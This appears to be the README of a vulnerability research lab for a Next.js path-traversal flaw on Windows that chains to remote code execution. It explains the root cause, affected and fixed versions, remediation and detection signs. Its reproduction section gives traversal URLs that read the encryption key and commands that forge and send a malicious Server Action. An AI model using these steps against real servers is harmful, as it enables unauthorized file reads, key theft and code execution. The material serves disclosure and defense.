CVE-2026-75604 - Next.js path traversal → RCE (Windows) · research lab

Reproduction lab and exploit tooling for CVE-2026-75604, an unauthenticated path-traversal in the Next.js incremental cache that affects Windows hosts. A single un-escaped backslash lets an attacker read and write files outside the cache directory; on the right versions and app shape it chains to unauthenticated remote code execution.

Research by Fortbridge. Full write-up: Reproducing CVE-2026-75604.

⚠️ Authorized testing only. This is a deliberately vulnerable application and a working exploit for a patched CVE. Use it on an isolated lab network you own. Never deploy the target anywhere reachable from production or the internet.

The vulnerability in one paragraph

escapePathDelimiters (Next.js router utils) escapes /, #, ? but not \. A percent-encoded backslash (%5C) in a route segment decodes to a raw \, survives into the incremental-cache key, and - because on Windows \ is a path separator - path.join() walks out of the cache root. The same code backs cache reads and writes, giving arbitrary file read and write. Windows only; Linux/macOS treat \ as an ordinary filename character.

Affected: 13.4-15.5.23 and 16.0-16.3.2. Fixed: 15.5.24 / 16.3.3.

RCE is version-gated

The traversal spans the whole affected range, but the RCE gadget (a React Flight constructor:constructor property-chain that resolves to the Function constructor) only works where react-server-dom-webpack lacks a reference guard added mid-lifecycle:

RCE also requires an app-side higher-order Server Action that calls a closure-bound value with user input (boundFn(input)()). Apps without that pattern still face disclosure, write/DoS, and Server Action authorization bypass. See research/FINDINGS.md and research/rce-version-matrix.txt.

Contents

Reproduce (on a Windows host)

# build + start the vulnerable lab (Next.js 16.2.0)
powershell -File setup-windows.ps1        # prints BUILD_ID and check URLs

# step 1 (browser): warm, then open the traversal read → encryptionKey
#   http://<host>:3000/app-cache/..%5C..%5Cserver-reference-manifest        (warm)
#   http://<host>:3000/_next/data/<BUILD_ID>/pages-cache/..%5C..%5Cserver-reference-manifest.json

# steps 2-3: decrypt a genuine bound arg, then forge the Function gadget
node forge-cli.mjs decrypt <key> <actionId> <blob-from-page>
node forge-cli.mjs gadget  <key> <actionId>

# steps 4-5 (through Burp): forged POST + read-back in one command
node send-action.mjs http://<host>:3000 --key <key> --action <actionId> --proof pwn --burp

No Windows box? node harness/harness.mjs proves the traversal on any OS by driving the real shipped Next.js 16.3.2 and 16.3.3 code with path bound to path.win32.

Remediation

Upgrade to 15.5.24 or 16.3.3. There is no in-place workaround for affected Windows hosts. Rotate secrets the read may have exposed - especially NEXT_SERVER_ACTIONS_ENCRYPTION_KEY (a leaked key stays valid across rebuilds when pinned).

Detection

• Requests with %5C / ..%5C in a route segment to /_next/data/… or cached App Router paths.
• A build manifest whose contents are a {"pageProps":…,"__N_SSG":true} stub (the destructive read).
• Cache files (.html / .rsc / .meta) written outside .next\server\app\ or .next\server\pages\.